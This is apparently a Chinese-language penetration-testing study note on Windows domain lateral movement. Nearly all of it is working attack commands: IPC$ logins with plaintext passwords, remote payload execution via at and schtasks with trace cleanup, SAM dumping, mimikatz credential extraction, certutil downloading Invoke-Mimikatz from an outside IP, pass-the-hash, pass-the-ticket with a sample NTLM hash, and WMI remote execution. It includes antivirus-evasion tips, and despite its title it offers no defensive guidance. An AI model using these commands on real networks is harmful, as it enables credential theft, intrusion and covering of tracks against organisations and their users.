第五章:域内横向移动分析及防御
文章目录
IPC
IPC的利用条件如下所示:
- 开启了139和445端口:IPC$需要139和445端口的支持。
- 管理员开启了默认共享:通过IPC$,可以实现对这些默认共享目录的访问。
- 知道目标的账号密码。
例如输入如下命令即可建立IPC连接:
net use \\192.168.52.138\ipc$ "123456789_CG" /user:pinger
输入如下命令查看当前的连接:
net use
建立连接后,可以通过使用如下命令先简单的获取目标的一些信息:
# 获取目标C盘目录信息
dir \\192.168.52.138\\c$
# 获取目标运行的进程(查看是否有杀软等)
tasklist /S 192.168.52.138 /U pinger /P 123456789_CG
最后,可以利用计划任务结合IPC进行命令执行,主要分为两种方式:at方式和schtasks方式,前者比较适用于windows server 2008之前的版本。
(1)at方式:
首先查看目标机器的当前时间:
net time \\192.168.50.138
然后将包含命令的文件上传到目标机器:
copy payload.bat \\192.168.52.138\C$
接着使用at创建计划任务执行payload.bat
# 利用计划任务无回显执行命令
at \\192.168.52.138 14:59PM C:\payload.bat
# 利用计划任务带回显执行命令
at \\192.168.52.138 14:59PM cmd.exe /c "ipconfig >C:/res.txt"
# 查看命令直接结果
type \\192.168.52.138\C$:\\res.txt
# 如果遇到了计划任务提示:无效句柄,则需要添加HOST
echo 192.168.52.138 DcHost >> C:\windows\system32\drivers\etc\hosts
最后就是清理痕迹,清除计划任务:
at \\192.168.52.138 7 /delete
(2)schtasks方式:
使用schtasks方式创建计划任务执行payload.bat,计划开机时启动,入下所示:
# 需要建立IPC的用户拥有权限
schtasks /create /s 192.168.52.138 /tn test /sc onstart /tr c:\payload.bat /ru system /f
然后就是启动计划任务:
schtasks /run /s 192.168.52.138 /i /tn "test"
然后删除计划任务:
schtasks /delete /s 192.168.52.138 /tn "test" /f
最后删除IPC连接:
net use \\192.168.52.138\ipc$ /del /y
单机密码抓取
- 必须是System权限;
- 本地用户名、散列值和其他安全验证信息都保存在SAM文件中;
- SAM文件保存在
C:\Windows\System32\config
中; - SAM文件是锁定的,不允许复制;
- 可以使用VSS卷影拷贝的方式将SAM文件复制出来;
- 可以使用工具将散列值和明文密码从内存中的lsass.exe进程或者SAM文件中导出;
主要介绍几种好用的方式:
(1)导出目标SAM和System,在本地获取NTLM Hash(防止mimikatz被杀):
首先需要导出目标的SAM文件,命令如下:
reg save hklm\sam sam.hive
reg save hklm\system system.hive
在本地使用mimikatz读取SAM和System文件获取Hash,将前面在目标机器生成的sam.hive和system.hive导出到本地,在本地的mimikatz输入如下命令进行解析:
lsadump::sam /sam:C:/Users/18148/Desktop/sam.hive /system:C:/Users/18148/Desktop/system.hive
(2)使用mimikatz在目标机直接读取SAM,导出Hash(不免杀):
在目标机器上执行mimikatz,输入如下命令:
# 提升权限
privilege::debug
# 将权限提升到System
token::elevate
# 读取本地SAM文件,导出NTLM Hash
lsadump::sam
(3)使用mimikatz在目标机直接读取SAM,导出Hash和 明文密码 (不免杀):
在目标机器上执行mimikatz,输入如下命令:
mimikatz "sekurlsa::logonpasswords"
(4)使用powershell远程加载mimikatz抓取Hash和 明文密码 :
在目标机器上输入如下命令:
# 先下载mimikatz脚本
certutil.exe -urlcache -split -f http://49.234.105.98:8080/Invoke-Mimikatz.ps1
# 设置powershell的执行策略为开放
Set-ExecutionPolicy Unrestricted
# 导入并执行mimikatz
powershell Import-Module .\Invoke-Mimikatz.ps1;Invoke-Mimikatz -Command '"privilege::debug" "sekurlsa::logonPasswords full"'
PTH哈希传递
- windows server 2012 R2及之后的版本中,默认在内存中不会记录明文密码;
- 可以使用PTH进行权限验证,控制远程主机;
- 使用PTH无需破解散列值,可以直接控制远程主机;
- 如果安装了KB2871997补丁,则无法与远程计算机进行连接,无法对远程计算机使用psexec、wmi、smbexec、schtaskts、at等,也无法访问远程主机的文件共享;
- 安装了KB2871997可以使用SID为500的Administrator账号进行PTH;
这里演示使用CS内置的mimikatz进行PTH控制主机。首先使用CS的mimikatz导出Hash,如下所示(域管帐号):
然后在CS的targets处加上需要横向移动的目标机器:
选中添加的target主机,右键选择jump->psexec,填写如下设置:
最终得到目标主机的beacon,如下所示(好像挺耗时的):
Notice: 如果获得了DC的shell,那么可以用CS的dcsync god.org获取域内所有Hash
PTT票据传递
PTT不需要本地管理员权限即可进行。主要采用两种方式进行PTT。
(1)使用mimikatz进行PTT(我实验失败了=-=)
首先使用mimikatz导出内存中的已存在的票据,输入如下命令:
mimikatz sekurlsa::tickets /export
然后使用mimikatz进行PTT,输入如下命令:
# 先清除当前内存中的票据
mimikatz kerberos:purge
# 然后注入高权限的票据
mimikatz kerberos::ptt "C:\ticket\[0;214ba17]-2-1-40e00000-Administrator@krbtgt-GOD.ORG.kirbi"
(2)使用kekeo进行PTT(我实验失败了=-=)
需要已知以下条件:
- 目标域名;
- 域用户名和NTLM Hash;
首先清空缓存中的票据:
kekeo.exe "kerberos::purge" "exit"
然后利用kekeo和已知条件生成票据:
kekeo.exe "tgt::ask /user:administrator /domain:god.org /ntlm:a45a7246dd74b64a67f22fd7020f1bd8" "exit"
然后就是导入了:
kekeo.exe "kerberos::ptt TGT_administrator@GOD.ORG_krbtgt~god.org@GOD.ORG.kirbi" "exit"
使用WMI执行命令
psExec被杀的严重,可以考虑使用wmi进行远程控制。如下是不利用工具进行wmi命令执行的方法:
首先建立ipc连接:
net use \\192.168.52.138\ipc$ "123456789_CG" /user:domain
然后利用wmi执行命令,并将结果输出到res.txt中:
wmic /node:192.168.52.138 process call create "cmd.exe /c ipconfig >C:\\res.txt"
其他
- ms17-010;
- psexec、wmi、smbexec;
- spn扫描:setspn -T god.org -F -Q /
- keberoast离线爆破NTLM Hash;
- exchange常规信息收集;
文章作者 P1n93r
上次更新 2021-05-22